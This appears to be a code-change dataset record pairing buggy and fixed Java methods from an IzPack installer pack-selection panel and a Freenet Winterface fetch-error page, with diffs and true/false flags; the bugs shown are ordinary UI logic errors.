com.izforge.izpack.panels.PacksPanelInterface#showSpaceRequired() */ public void showSpaceRequired() { if (spaceLabel != null) spaceLabel.setText(Pack.toByteUnitsString(bytes)); } /* * (non-Javadoc) * * @see com.izforge.izpack.panels.PacksPanelInterface#showFreeSpace() */ public void showFreeSpace() { if (IoHelper.supported("getFreeSpace") && freeSpaceLabel != null) { String msg = null; freeBytes = IoHelper.getFreeSpace(IoHelper.existingParent( new File(idata.getInstallPath())).getAbsolutePath()); if (freeBytes < 0) msg = parent.langpack.getString("PacksPanel.notAscertainable"); else msg = Pack.toByteUnitsString(freeBytes); freeSpaceLabel.setText(msg); } } /** * Indicates wether the panel has been validated or not. * * @return true if the needed space is less than the free space, else false */ public boolean isValidated() { if (IoHelper.supported("getFreeSpace") && freeBytes >= 0 && freeBytes <= bytes) { JOptionPane.showMessageDialog(this, parent.langpack .getString("PacksPanel.notEnoughSpace"), parent.langpack .getString("installer.error"), JOptionPane.ERROR_MESSAGE); return (false); } return (true); } /** * Asks to make the XML panel data. * * @param panelRoot The XML tree to write the data in. */ public void makeXMLData(XMLElement panelRoot) { new ImgPacksPanelAutomationHelper().makeXMLData(idata, panelRoot); } /* * (non-Javadoc) * * @see javax.swing.event.ListSelectionListener#valueChanged(javax.swing.event.ListSelectionEvent) */ public void valueChanged(ListSelectionEvent e) { VariableSubstitutor vs = new VariableSubstitutor(idata.getVariables()); int i = packsTable.getSelectedRow(); if (i < 0) return; // toggle the value stored in the packsModel if (e.getValueIsAdjusting()) { Integer checked = (Integer) packsModel.getValueAt(i, 0); + checked = (checked.intValue() == 0) ? Integer.valueOf(1) : Integer.valueOf(0); packsModel.setValueAt(checked, i, 0); } // Operations for the description if (descriptionArea != null) { Pack pack = (Pack) idata.availablePacks.get(i); String desc = ""; String key = pack.id + ".description"; if (langpack != null && pack.id != null && !"".equals(pack.id)) { desc = langpack.getString(key); } if ("".equals(desc) || key.equals(desc)) { desc = pack.description; } desc = vs.substitute(desc, null); descriptionArea.setText(desc); } // Operation for the dependency listing if (dependencyArea != null) { Pack pack = (Pack) idata.availablePacks.get(i); List dep = pack.dependencies; String list = ""; if (dep != null) { list += (langpack == null) ? "Dependencies: " : langpack .getString("PacksPanel.dependencies"); } for (int j = 0; dep != null && j < dep.size(); j++) { String name = (String) dep.get(j); list += getI18NPackName((Pack) names.get(name)); if (j != dep.size() - 1) list += ", "; } // add the list of the packs to be excluded String excludeslist = (langpack == null) ? "Excludes: " : langpack .getString("PacksPanel.excludes"); int numexcludes = 0; if (pack.excludeGroup != null) { for (int q = 0; q < idata.availablePacks.size(); q++) { Pack otherpack = (Pack) idata.availablePacks.get(q); String exgroup = otherpack.excludeGroup; if (exgroup != null) { if (q != i && pack.excludeGroup.equals(exgroup)) { excludeslist += getI18NPackName(otherpack) + ", "; numexcludes++; } } } } // concatenate if (dep != null) excludeslist = " " + excludeslist; if (numexcludes > 0) list += excludeslist; if (list.endsWith(", ")) list = list.substring(0, list.length() - 2); // and display the result dependencyArea.setText(list); } } /** * This method tries to resolve the localized name of the given pack. If this is not possible, * the name given in the installation description file in ELEMENT <pack> will be used. * * @param pack for which the name should be resolved * @return localized name of the pack */ private String getI18NPackName(Pack pack) { // Internationalization code String packName = pack.name; String key = pack.id; if (langpack != null && pack.id != null && !"".equals(pack.id)) { packName = langpack.getString(key); } if ("".equals(packName) || key == null || key.equals(packName) ) { packName = pack.name; } return (packName); } /** * Layout helper method:<br> * Creates an label with a message given by msgId and an icon given by the iconId. If layout and * constraints are not null, the label will be added to layout with the given constraints. The * label will be added to this object. * * @param msgId identifier for the IzPack langpack * @param iconId identifier for the IzPack icons * @param layout layout to be used * @param constraints constraints to be used * @return the created label */ protected JLabel createLabel(String msgId, String iconId, GridBagLayout layout, GridBagConstraints constraints) { JLabel label = LabelFactory.create(parent.langpack.getString(msgId), parent.icons .getImageIcon(iconId), TRAILING); if (layout != null && constraints != null) layout.addLayoutComponent(label, constraints); add(label); return (label); } /** * Creates a panel containing a anonymous label on the left with the message for the given msgId * and a label on the right side with initial no text. The right label will be returned. If * layout and constraints are not null, the label will be added to layout with the given * constraints. The panel will be added to this object. * * @param msgId identifier for the IzPack langpack * @param layout layout to be used * @param constraints constraints to be used * @return the created (right) label */ protected JLabel createPanelWithLabel(String msgId, GridBagLayout layout, GridBagConstraints constraints) { JPanel panel = new JPanel(); JLabel label = new JLabel(); if (label == null) label = new JLabel(""); panel.setAlignmentX(LEFT_ALIGNMENT); panel.setLayout(new BoxLayout(panel, BoxLayout.X_AXIS)); panel.add(LabelFactory.create(parent.langpack.getString(msgId))); panel.add(Box.createHorizontalGlue()); panel.add(label); if (layout != null && constraints != null) layout.addLayoutComponent(panel, constraints); add(panel); return (label); } /** * Creates a text area with standard settings and the title given by the msgId. If scroller is * not null, the create text area will be added to the scroller and the scroller to this object, * else the text area will be added directly to this object. If layout and constraints are not * null, the text area or scroller will be added to layout with the given constraints. The text * area will be returned. * * @param msgId identifier for the IzPack langpack * @param scroller the scroller to be used * @param layout layout to be used * @param constraints constraints to be used * @return the created text area */ protected JTextArea createTextArea(String msgId, JScrollPane scroller, GridBagLayout layout, GridBagConstraints constraints) { JTextArea area = new JTextArea(); // area.setMargin(new Insets(2, 2, 2, 2)); area.setAlignmentX(LEFT_ALIGNMENT); area.setCaretPosition(0); area.setEditable(false); area.setEditable(false); area.setOpaque(false); area.setLineWrap(true); area.setWrapStyleWord(true); area.setBorder(BorderFactory.createTitledBorder(parent.langpack.getString(msgId))); area.setFont(getControlTextFont()); if (layout != null && constraints != null) { if (scroller != null) { layout.addLayoutComponent(scroller, constraints); } else layout.addLayoutComponent(area, constraints); } if (scroller != null) { scroller.setViewportView(area); add(scroller); } else add(area); return (area); } /** * Creates the table for the packs. All parameters are required. The table will be returned. * * @param width of the table * @param scroller the scroller to be used * @param layout layout to be used * @param constraints constraints to be used * @return the created table */ protected JTable createPacksTable(int width, JScrollPane scroller, GridBagLayout layout, GridBagConstraints constraints) { JTable table = new JTable(); table.setBorder(BorderFactory.createEmptyBorder(0, 2, 0, 2)); table.setIntercellSpacing(new Dimension(0, 0)); table.setBackground(Color.white); table.setSelectionMode(ListSelectionModel.SINGLE_SELECTION); table.getSelectionModel().addListSelectionListener(this); table.setShowGrid(false); scroller.setViewportView(table); scroller.setAlignmentX(LEFT_ALIGNMENT); scroller.getViewport().setBackground(Color.white); scroller.setPreferredSize(new Dimension(width, (idata.guiPrefs.height / 3 + 30))); if (layout != null && constraints != null) layout.addLayoutComponent(scroller, constraints); add(scroller); return (table); } /** * Computes pack related data like the names or the dependencies state. * * @param packs */ private void computePacks(List packs) { names = new HashMap(); dependenciesExist = false; for (int i = 0; i < packs.size(); i++) { Pack pack = (Pack) packs.get(i); names.put(pack.name, pack); if (pack.dependencies != null || pack.excludeGroup != null) dependenciesExist = true; } } /** * Called when the panel becomes active. If a derived class implements this method also, it is * recomanded to call this method with the super operator first. */ public void panelActivate() { try { // TODO the PacksModel could be patched such that isCellEditable // allows returns false. In that case the PacksModel must not be // adapted here. packsModel = new PacksModel(this, idata, this.parent.getRules()) { /** * Required (serializable) */ private static final long serialVersionUID = 5061108355293832820L; public boolean isCellEditable(int rowIndex, int columnIndex) { return false; } }; packsTable.setModel(packsModel); CheckBoxRenderer packSelectedRenderer = new CheckBoxRenderer(); packsTable.getColumnModel().getColumn(0).setCellRenderer(packSelectedRenderer); packsTable.getColumnModel().getColumn(0).setMaxWidth(40); //packsTable.getColumnModel().getColumn(1).setCellRenderer(renderer1); packsTable.getColumnModel().getColumn(1).setCellRenderer(new PacksPanelTableCellRenderer()); PacksPanelTableCellRenderer renderer2 = new PacksPanelTableCellRenderer(); renderer2.setHorizontalAlignment(RIGHT); packsTable.getColumnModel().getColumn(2).setCellRenderer(renderer2); packsTable.getColumnModel().getColumn(2).setMaxWidth(100); // remove header,so we don't need more strings tableScroller.remove(packsTable.getTableHeader()); tableScroller.setColumnHeaderView(null); tableScroller.setColumnHeader(null); // set the JCheckBoxes to the currently selected panels. The // selection might have changed in another panel java.util.Iterator iter = idata.availablePacks.iterator(); bytes = 0; while (iter.hasNext()) { Pack p = (Pack) iter.next(); if (p.required) { bytes += p.nbytes; continue; } if (idata.selectedPacks.contains(p)) bytes += p.nbytes; } } catch (Exception e) { e.printStackTrace(); } showSpaceRequired(); showFreeSpace(); packsTable.setRowSelectionInterval(0, 0); } /* * (non-Javadoc) * * @see com.izforge.izpack.installer.IzPanel#getSummaryBody() */ public String getSummaryBody() { StringBuffer retval = new StringBuffer(256); Iterator iter = idata.selectedPacks.iterator(); boolean first = true; while (iter.hasNext()) { if (!first) { retval.append("<br>"); } first = false; Pack pack = (Pack) iter.next(); if (langpack != null && pack.id != null && !"".equals(pack.id)) { retval.append(langpack.getString(pack.id)); } else retval.append(pack.name); } if (packsModel.isModifyinstallation()) { Map installedpacks = packsModel.getInstalledpacks(); iter = installedpacks.keySet().iterator(); retval.append("<br><b>"); retval.append(langpack.getString("PacksPanel.installedpacks.summarycaption")); retval.append("</b>"); retval.append("<br>"); while (iter.hasNext()) { Pack pack = (Pack) installedpacks.get(iter.next()); if (langpack != null && pack.id != null && !"".equals(pack.id)) { retval.append(langpack.getString(pack.id)); } else { retval.append(pack.name); } retval.append("<br>"); } } return (retval.toString()); } static class CheckBoxRenderer implements TableCellRenderer { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { JCheckBox display = new JCheckBox(); if(com.izforge.izpack.util.OsVersion.IS_UNIX && !com.izforge.izpack.util.OsVersion.IS_OSX) { display.setIcon(new LFIndependentIcon()); display.setDisabledIcon(new LFIndependentIcon()); display.setSelectedIcon(new LFIndependentIcon()); display.setDisabledSelectedIcon(new LFIndependentIcon()); } display.setHorizontalAlignment(CENTER); if (isSelected) { display.setForeground(table.getSelectionForeground()); display.setBackground(table.getSelectionBackground()); } else { display.setForeground(table.getForeground()); display.setBackground(table.getBackground()); } int state = ((Integer) value).intValue(); if (state == -2) { // condition not fulfilled display.setForeground(Color.GRAY); } display.setSelected((value != null && Math.abs(state) == 1)); if (state == -3) { display.setForeground(Color.RED); display.setSelected(true); } display.setEnabled(state >= 0); return display; } } public static class LFIndependentIcon implements Icon { ButtonModel buttonModel = null; protected int getControlSize() { return 13; } public void paintIcon(Component c, Graphics g, int x, int y) { ButtonModel model = ((JCheckBox)c).getModel(); buttonModel = model; int controlSize = getControlSize(); if (model.isPressed() && model.isArmed()) { g.setColor( MetalLookAndFeel.getControlShadow() ); if(model.isEnabled()) g.setColor(Color.green); else g.setColor(Color.gray); g.fillRect( x, y, controlSize-1, controlSize-1); drawPressedBorder(g, x, y, controlSize, controlSize, model); } else { drawBorder(g, x, y, controlSize, controlSize, model); } g.setColor( Color.green ); if (model.isSelected()) { drawCheck(c,g,x,y); } } private void drawBorder(Graphics g, int x, int y, int w, int h, ButtonModel model) { g.translate(x, y); // outer frame rectangle g.setColor(MetalLookAndFeel.getControlDarkShadow()); if(!model.isEnabled()) g.setColor(new Color(0.4f, 0.4f, 0.4f)); g.drawRect(0, 0, w-2, h-2); // middle frame g.setColor(MetalLookAndFeel.getControlHighlight()); if(!model.isEnabled()) g.setColor(new Color(0.6f, 0.6f, 0.6f)); g.drawRect(1, 1, w-2, h-2); // background if(model.isEnabled()) g.setColor(Color.white); else g.setColor(new Color(0.8f, 0.8f, 0.8f)); g.fillRect(2, 2, w-3, h-3); //some extra lines for FX g.setColor(MetalLookAndFeel.getControl()); g.drawLine(0, h-1, 1, h-2); g.drawLine(w-1, 0, w-2, 1); g.translate(-x, -y); } private void drawPressedBorder(Graphics g, int x, int y, int w, int h, ButtonModel model) { g.translate(x, y); drawBorder(g, 0, 0, w, h, model); g.setColor(MetalLookAndFeel.getControlShadow()); g.drawLine(1, 1, 1, h-2); g.drawLine(1, 1, w-2, 1); g.drawLine(2, 2, 2, h-3); g.drawLine(2, 2, w-3, 2); g.translate(-x, -y); } protected void drawCheck(Component c, Graphics g, int x, int y) { int controlSize = getControlSize(); if(buttonModel!=null) if(buttonModel.isEnabled()) g.setColor(new Color(0.0f,0.6f,0.0f)); else g.setColor(new Color(0.1f,0.1f,0.1f)); g.drawLine( x+(controlSize-4), y+2, x+(controlSize-4)-4, y+2+4 ); g.drawLine( x+(controlSize-4), y+3, x+(controlSize-4)-4, y+3+4 ); g.drawLine( x+(controlSize-4), y+4, x+(controlSize-4)-4, y+4+4 ); g.drawLine( x+(controlSize-4)-4, y+2+4, x+(controlSize-4)-4-2, y+2+4-2 ); g.drawLine( x+(controlSize-4)-4, y+3+4, x+(controlSize-4)-4-2, y+3+4-2 ); g.drawLine( x+(controlSize-4)-4, y+4+4, x+(controlSize-4)-4-2, y+4+4-2 ); } public int getIconWidth() {return getControlSize();} public int getIconHeight() {return getControlSize();} } static class PacksPanelTableCellRenderer extends DefaultTableCellRenderer { /** * Required (serializable) */ private static final long serialVersionUID = -9089892183236584242L; public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { Component renderer = super.getTableCellRendererComponent(table, value, isSelected, hasFocus,row, column); int state = ((Integer) table.getModel().getValueAt(row, 0)).intValue(); if (state == -2) { // condition not fulfilled renderer.setForeground(Color.GRAY); if (isSelected){ renderer.setBackground(table.getSelectionBackground()); } else { renderer.setBackground(table.getBackground()); } } else { if (isSelected){ renderer.setForeground(table.getSelectionForeground()); renderer.setBackground(table.getSelectionBackground()); } else { renderer.setForeground(table.getForeground()); renderer.setBackground(table.getBackground()); } } return renderer; } } public Debugger getDebugger() { return this.debugger; } }
true
true
public void valueChanged(ListSelectionEvent e) { VariableSubstitutor vs = new VariableSubstitutor(idata.getVariables()); int i = packsTable.getSelectedRow(); if (i < 0) return; // toggle the value stored in the packsModel if (e.getValueIsAdjusting()) { Integer checked = (Integer) packsModel.getValueAt(i, 0); packsModel.setValueAt(checked, i, 0); } // Operations for the description if (descriptionArea != null) { Pack pack = (Pack) idata.availablePacks.get(i); String desc = ""; String key = pack.id + ".description"; if (langpack != null && pack.id != null && !"".equals(pack.id)) { desc = langpack.getString(key); } if ("".equals(desc) || key.equals(desc)) { desc = pack.description; } desc = vs.substitute(desc, null); descriptionArea.setText(desc); } // Operation for the dependency listing if (dependencyArea != null) { Pack pack = (Pack) idata.availablePacks.get(i); List dep = pack.dependencies; String list = ""; if (dep != null) { list += (langpack == null) ? "Dependencies: " : langpack .getString("PacksPanel.dependencies"); } for (int j = 0; dep != null && j < dep.size(); j++) { String name = (String) dep.get(j); list += getI18NPackName((Pack) names.get(name)); if (j != dep.size() - 1) list += ", "; } // add the list of the packs to be excluded String excludeslist = (langpack == null) ? "Excludes: " : langpack .getString("PacksPanel.excludes"); int numexcludes = 0; if (pack.excludeGroup != null) { for (int q = 0; q < idata.availablePacks.size(); q++) { Pack otherpack = (Pack) idata.availablePacks.get(q); String exgroup = otherpack.excludeGroup; if (exgroup != null) { if (q != i && pack.excludeGroup.equals(exgroup)) { excludeslist += getI18NPackName(otherpack) + ", "; numexcludes++; } } } } // concatenate if (dep != null) excludeslist = " " + excludeslist; if (numexcludes > 0) list += excludeslist; if (list.endsWith(", ")) list = list.substring(0, list.length() - 2); // and display the result dependencyArea.setText(list); } }
public void valueChanged(ListSelectionEvent e) { VariableSubstitutor vs = new VariableSubstitutor(idata.getVariables()); int i = packsTable.getSelectedRow(); if (i < 0) return; // toggle the value stored in the packsModel if (e.getValueIsAdjusting()) { Integer checked = (Integer) packsModel.getValueAt(i, 0); checked = (checked.intValue() == 0) ? Integer.valueOf(1) : Integer.valueOf(0); packsModel.setValueAt(checked, i, 0); } // Operations for the description if (descriptionArea != null) { Pack pack = (Pack) idata.availablePacks.get(i); String desc = ""; String key = pack.id + ".description"; if (langpack != null && pack.id != null && !"".equals(pack.id)) { desc = langpack.getString(key); } if ("".equals(desc) || key.equals(desc)) { desc = pack.description; } desc = vs.substitute(desc, null); descriptionArea.setText(desc); } // Operation for the dependency listing if (dependencyArea != null) { Pack pack = (Pack) idata.availablePacks.get(i); List dep = pack.dependencies; String list = ""; if (dep != null) { list += (langpack == null) ? "Dependencies: " : langpack .getString("PacksPanel.dependencies"); } for (int j = 0; dep != null && j < dep.size(); j++) { String name = (String) dep.get(j); list += getI18NPackName((Pack) names.get(name)); if (j != dep.size() - 1) list += ", "; } // add the list of the packs to be excluded String excludeslist = (langpack == null) ? "Excludes: " : langpack .getString("PacksPanel.excludes"); int numexcludes = 0; if (pack.excludeGroup != null) { for (int q = 0; q < idata.availablePacks.size(); q++) { Pack otherpack = (Pack) idata.availablePacks.get(q); String exgroup = otherpack.excludeGroup; if (exgroup != null) { if (q != i && pack.excludeGroup.equals(exgroup)) { excludeslist += getI18NPackName(otherpack) + ", "; numexcludes++; } } } } // concatenate if (dep != null) excludeslist = " " + excludeslist; if (numexcludes > 0) list += excludeslist; if (list.endsWith(", ")) list = list.substring(0, list.length() - 2); // and display the result dependencyArea.setText(list); } }
diff --git a/src/main/java/freenet/winterface/web/FetchErrorPage.java b/src/main/java/freenet/winterface/web/FetchErrorPage.java index d934834..b4db812 100644 --- a/src/main/java/freenet/winterface/web/FetchErrorPage.java +++ b/src/main/java/freenet/winterface/web/FetchErrorPage.java @@ -1,309 +1,311 @@ package freenet.winterface.web; import java.net.MalformedURLException; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Map.Entry; import org.apache.log4j.Logger; import org.apache.wicket.markup.html.WebMarkupContainer; import org.apache.wicket.markup.html.basic.Label; import org.apache.wicket.markup.html.link.ExternalLink; import org.apache.wicket.markup.html.list.ListItem; import org.apache.wicket.markup.html.list.ListView; import org.apache.wicket.markup.repeater.RepeatingView; import org.apache.wicket.model.Model; import org.apache.wicket.request.http.WebRequest; import freenet.client.DefaultMIMETypes; import freenet.client.FetchException; import freenet.client.filter.UnsafeContentTypeException; import freenet.clients.http.FProxyFetchResult; import freenet.keys.FreenetURI; import freenet.pluginmanager.PluginInfoWrapper; import freenet.pluginmanager.PluginManager; import freenet.support.HTMLEncoder; import freenet.support.SizeUtil; import freenet.winterface.core.Configuration; import freenet.winterface.core.RequestsUtil; import freenet.winterface.core.RequestsUtil.FreenetLink; /** * A {@link WinterPage} in case any errors happens while fetching a * {@link FreenetURI} * * @author pausb * @see FProxyFetchResult * @see FreenetURIPage */ @SuppressWarnings("serial") public class FetchErrorPage extends WinterPage { /** Result to retrieve {@link FetchException} from */ private transient FProxyFetchResult result; /** {@link FreenetURI} in {@link String} format which caused the error */ private transient String path; // L10N private final static String SIZE_LABEL = "FProxyToadlet.sizeLabel"; private final static String FINALIZED_MIME = "FProxyToadlet.mimeType"; private final static String UNFINALIZED_MIME = "FProxyToadlet.expectedMimeType"; private final static String UNKNOWN_MIME = "FProxyToadlet.unknownMIMEType"; private final static String EXPL_TOO_BIG = "FProxyToadlet.largeFileExplanationAndOptions"; private final static String EXPL_CANNOT_RETRIEVE = "FProxyToadlet.unableToRetrieve"; private final static String FATAL_ERROR = "FProxyToadlet.errorIsFatal"; private final static String OPEN_WITH_KEYEXPLORER = "FetchErrorPage.openWithKeyExplorer"; private final static String OPEN_WITH_SITEEXPLORER = "FetchErrorPage.openWithSiteExplorer"; private final static String OPEN_AS_TEXT = "FetchErrorPage.openAsText"; private final static String DOWNLOAD_TO_DISK = "FetchErrorPage.openForceDisk"; private final static String OPEN_FORCE = "FetchErrorPage.openForce"; private final static String RETRY_NOW = "FProxyToadlet.retryNow"; // Plugin IDs private final static String PLUGIN_KEYUTILS = "plugins.KeyUtils.KeyUtilsPlugin"; private final static String PLUGIN_KEYEXPLORER = "plugins.KeyExplorer.KeyExplorer"; private final static String PLUGIN_THAWBROWSER = "plugins.ThawIndexBrowser.ThawIndexBrowser"; /** Log4j logger */ private final static Logger logger = Logger.getLogger(FetchErrorPage.class); /** * Constructs. * * @param result * containing the {@link FetchException} * @param path * {@link FreenetURI} which caused the error */ public FetchErrorPage(FProxyFetchResult result, String path) { super(); this.result = result; this.path = path; } @Override protected void onInitialize() { super.onInitialize(); addFileInfo(); boolean hasFilterErrors = addErrorDetails(); addRelatedOptions(hasFilterErrors); FetchException error = result.failed; String explanationKey = null; switch (error.mode) { case FetchException.TOO_BIG: // TODO add always download too big button explanationKey = EXPL_TOO_BIG; break; default: explanationKey = EXPL_CANNOT_RETRIEVE; break; } // Add explanation String explanationValue = localize(explanationKey); Label explanation = new Label("explanation", Model.of(explanationValue)); add(explanation); } /** * Adds file name (as a link for refetch), size and MIME type. */ private void addFileInfo() { final FetchException error = result.failed; StringBuffer buffer; // Link to file ExternalLink fileLink = new ExternalLink("fileLink", "/" + path); fileLink.setBody(Model.of(getFileName())); add(fileLink); // Size String sizeLabel = localize(SIZE_LABEL); buffer = new StringBuffer(sizeLabel); buffer.append(SizeUtil.formatSize(error.expectedSize)); if (!error.finalizedSize()) { String mayChange = localize("FProxyToadlet.mayChange"); buffer.append(mayChange); } Label size = new Label("fileSize", Model.of(buffer.toString())); add(size); // MIME-Type buffer = new StringBuffer(); String value = null; if (error.getExpectedMimeType() != null) { String key = error.finalizedSize() ? FINALIZED_MIME : UNFINALIZED_MIME; Map<String, String> replacement = new HashMap<String, String>(); replacement.put("mime", error.getExpectedMimeType()); value = localize(key, Model.ofMap(replacement)); } else { value = localize(UNKNOWN_MIME); } Label mime = new Label("fileMime", Model.of(value)); add(mime); } /** * Adds filter exception details (if any), shows if error is fatal, writes * the error code (if available) * * @return {@code true} if error was causef by filter exception * @see UnsafeContentTypeException * @see FetchException#errorCodes * @see FetchException#isFatal() */ private boolean addErrorDetails() { boolean causedByFilter = false; UnsafeContentTypeException filterException = null; FetchException error = result.failed; if (error.getCause() instanceof UnsafeContentTypeException) { filterException = (UnsafeContentTypeException) error.getCause(); causedByFilter = true; } Label fatalError = new Label("fatalError"); WebMarkupContainer filterErrorContainer = new WebMarkupContainer("filterErrorContainer"); if (filterException == null) { // Hide filter exception details container filterErrorContainer.setVisible(false); // Fatal error boolean isFatal = error.isFatal(); if (isFatal) { String fatalValue = localize(FATAL_ERROR); fatalError.setDefaultModel(Model.of(fatalValue)); } // Hide element if error is not fatal fatalError.setVisible(isFatal); } else { // Detailed list of filter exception List<String> details = filterException.details(); ListView<String> filterError = new ListView<String>("filterError", details) { @Override protected void populateItem(ListItem<String> item) { Label detail = new Label("detail", Model.of(item.getModelObject())); item.add(detail); } }; filterErrorContainer.add(filterError); } add(fatalError, filterErrorContainer); // Add error codes Label errorCode = new Label("errorCode"); if (error.errorCodes != null) { errorCode.setDefaultModel(Model.of(error.errorCodes.toVerboseString())); } else { // No error code -> hide the element errorCode.setVisible(false); } add(errorCode); return causedByFilter; } /** * Add a list of options, depending on type of error, {@link Configuration}, * and available plugins * * @param causedByFilter * if error is caused by a filter exception */ public void addRelatedOptions(boolean causedByFilter) { PluginInfoWrapper p; FetchException error = result.failed; final WebRequest request = (WebRequest) getRequest(); final String mime = error.getExpectedMimeType(); PluginManager pm = getFreenetNode().pluginManager; Map<String, String> options = new HashMap<String, String>(); // Dig in plugins // TODO make this more dynamic. Plugins should add themselves hier if ((error.mode == FetchException.NOT_IN_ARCHIVE || error.mode == FetchException.NOT_ENOUGH_PATH_COMPONENTS)) { // first look for the newest version if ((p = pm.getPluginInfo(PLUGIN_KEYUTILS)) != null) { logger.trace("Key Utils found: Adding option"); if (p.getPluginLongVersion() < 5010) { options.put("/KeyUtils/?automf=true&key=" + path, localize(OPEN_WITH_KEYEXPLORER)); } else { options.put("/KeyUtils/?key=" + path, localize(OPEN_WITH_KEYEXPLORER)); options.put("/KeyUtils/Site?key=" + path, localize(OPEN_WITH_SITEEXPLORER)); } } else if ((p = pm.getPluginInfo(PLUGIN_KEYEXPLORER)) != null) { logger.trace("Key Explorer found: Adding option"); if (p.getPluginLongVersion() > 4999) { options.put("/KeyExplorer/?automf=true&key=" + path, localize(OPEN_WITH_KEYEXPLORER)); } else { options.put("/plugins/plugins.KeyExplorer.KeyExplorer/?key=" + path, localize(OPEN_WITH_KEYEXPLORER)); } } } RequestsUtil ru = new RequestsUtil(); FreenetLink textLink; WebMarkupContainer optionsContainer = new WebMarkupContainer("optionsContainer"); if (causedByFilter) { logger.trace("Error caused by filter expection. Adding options"); if (mime.equals("application/x-freenet-index") && pm.getPluginInfo(PLUGIN_THAWBROWSER) != null) { logger.trace("Thaw browser found: Adding option"); options.put("/plugins/plugins.ThawIndexBrowser.ThawIndexBrowser/?key=" + path, localize(PLUGIN_THAWBROWSER)); } // Option to open as text textLink = ru.createLink(path, mime, request); options.put(textLink.toString(), localize(OPEN_AS_TEXT)); // Force download textLink = ru.createLink(path, mime, request); textLink.forceDownload = true; options.put(textLink.toString(), localize(DOWNLOAD_TO_DISK)); // Force open as expected mime if (!(mime.equals("application/octet-stream") || mime.equals("application/x-msdownload"))) { Map<String, String> substitution = new HashMap<String, String>(); substitution.put("mime", HTMLEncoder.encode(mime)); textLink = ru.createLink(path, mime, request); textLink.force = ru.getForceValue(path, System.currentTimeMillis()); options.put(textLink.toString(), localize(OPEN_FORCE, Model.ofMap(substitution))); } } // Retry link if ((!error.isFatal() || causedByFilter) && (!getConfiguration().isPublicGateway() || isAllowedFullAccess())) { logger.trace("Adding retry option"); textLink = ru.createLink(path, mime, request); options.put(textLink.toString(), localize(RETRY_NOW)); } RepeatingView pluginsOptions = new RepeatingView("pluginsOptions"); logger.trace(String.format("Adding a total sum of %d options", options.size())); for (Entry<String, String> item : options.entrySet()) { + WebMarkupContainer liContainer = new WebMarkupContainer(pluginsOptions.newChildId()); ExternalLink link = new ExternalLink("pluginOption", item.getKey()); link.setBody(Model.of(item.getValue())); - pluginsOptions.add(link); + liContainer.add(link); + pluginsOptions.add(liContainer); } optionsContainer.add(pluginsOptions); optionsContainer.setVisible(!options.isEmpty()); add(optionsContainer); } /** * Gets the file name with regard to its expected MIME type * * @return calculated file name */ private String getFileName() { FreenetURI uri = null; String s = ""; String expectedMimeType = result.failed.getExpectedMimeType(); try { uri = new FreenetURI(path); s = uri.getPreferredFilename(); int dotIdx = s.lastIndexOf('.'); String ext = DefaultMIMETypes.getExtension(expectedMimeType); if (ext == null) ext = "bin"; if ((dotIdx == -1) && (expectedMimeType != null)) { s += '.' + ext; return s; } if (dotIdx != -1) { String oldExt = s.substring(dotIdx + 1); if (DefaultMIMETypes.isValidExt(expectedMimeType, oldExt)) return s; return s + '.' + ext; } s += '.' + ext; } catch (MalformedURLException e) { // Cannot happen } return s; } }
false
true
public void addRelatedOptions(boolean causedByFilter) { PluginInfoWrapper p; FetchException error = result.failed; final WebRequest request = (WebRequest) getRequest(); final String mime = error.getExpectedMimeType(); PluginManager pm = getFreenetNode().pluginManager; Map<String, String> options = new HashMap<String, String>(); // Dig in plugins // TODO make this more dynamic. Plugins should add themselves hier if ((error.mode == FetchException.NOT_IN_ARCHIVE || error.mode == FetchException.NOT_ENOUGH_PATH_COMPONENTS)) { // first look for the newest version if ((p = pm.getPluginInfo(PLUGIN_KEYUTILS)) != null) { logger.trace("Key Utils found: Adding option"); if (p.getPluginLongVersion() < 5010) { options.put("/KeyUtils/?automf=true&key=" + path, localize(OPEN_WITH_KEYEXPLORER)); } else { options.put("/KeyUtils/?key=" + path, localize(OPEN_WITH_KEYEXPLORER)); options.put("/KeyUtils/Site?key=" + path, localize(OPEN_WITH_SITEEXPLORER)); } } else if ((p = pm.getPluginInfo(PLUGIN_KEYEXPLORER)) != null) { logger.trace("Key Explorer found: Adding option"); if (p.getPluginLongVersion() > 4999) { options.put("/KeyExplorer/?automf=true&key=" + path, localize(OPEN_WITH_KEYEXPLORER)); } else { options.put("/plugins/plugins.KeyExplorer.KeyExplorer/?key=" + path, localize(OPEN_WITH_KEYEXPLORER)); } } } RequestsUtil ru = new RequestsUtil(); FreenetLink textLink; WebMarkupContainer optionsContainer = new WebMarkupContainer("optionsContainer"); if (causedByFilter) { logger.trace("Error caused by filter expection. Adding options"); if (mime.equals("application/x-freenet-index") && pm.getPluginInfo(PLUGIN_THAWBROWSER) != null) { logger.trace("Thaw browser found: Adding option"); options.put("/plugins/plugins.ThawIndexBrowser.ThawIndexBrowser/?key=" + path, localize(PLUGIN_THAWBROWSER)); } // Option to open as text textLink = ru.createLink(path, mime, request); options.put(textLink.toString(), localize(OPEN_AS_TEXT)); // Force download textLink = ru.createLink(path, mime, request); textLink.forceDownload = true; options.put(textLink.toString(), localize(DOWNLOAD_TO_DISK)); // Force open as expected mime if (!(mime.equals("application/octet-stream") || mime.equals("application/x-msdownload"))) { Map<String, String> substitution = new HashMap<String, String>(); substitution.put("mime", HTMLEncoder.encode(mime)); textLink = ru.createLink(path, mime, request); textLink.force = ru.getForceValue(path, System.currentTimeMillis()); options.put(textLink.toString(), localize(OPEN_FORCE, Model.ofMap(substitution))); } } // Retry link if ((!error.isFatal() || causedByFilter) && (!getConfiguration().isPublicGateway() || isAllowedFullAccess())) { logger.trace("Adding retry option"); textLink = ru.createLink(path, mime, request); options.put(textLink.toString(), localize(RETRY_NOW)); } RepeatingView pluginsOptions = new RepeatingView("pluginsOptions"); logger.trace(String.format("Adding a total sum of %d options", options.size())); for (Entry<String, String> item : options.entrySet()) { ExternalLink link = new ExternalLink("pluginOption", item.getKey()); link.setBody(Model.of(item.getValue())); pluginsOptions.add(link); } optionsContainer.add(pluginsOptions); optionsContainer.setVisible(!options.isEmpty()); add(optionsContainer); }
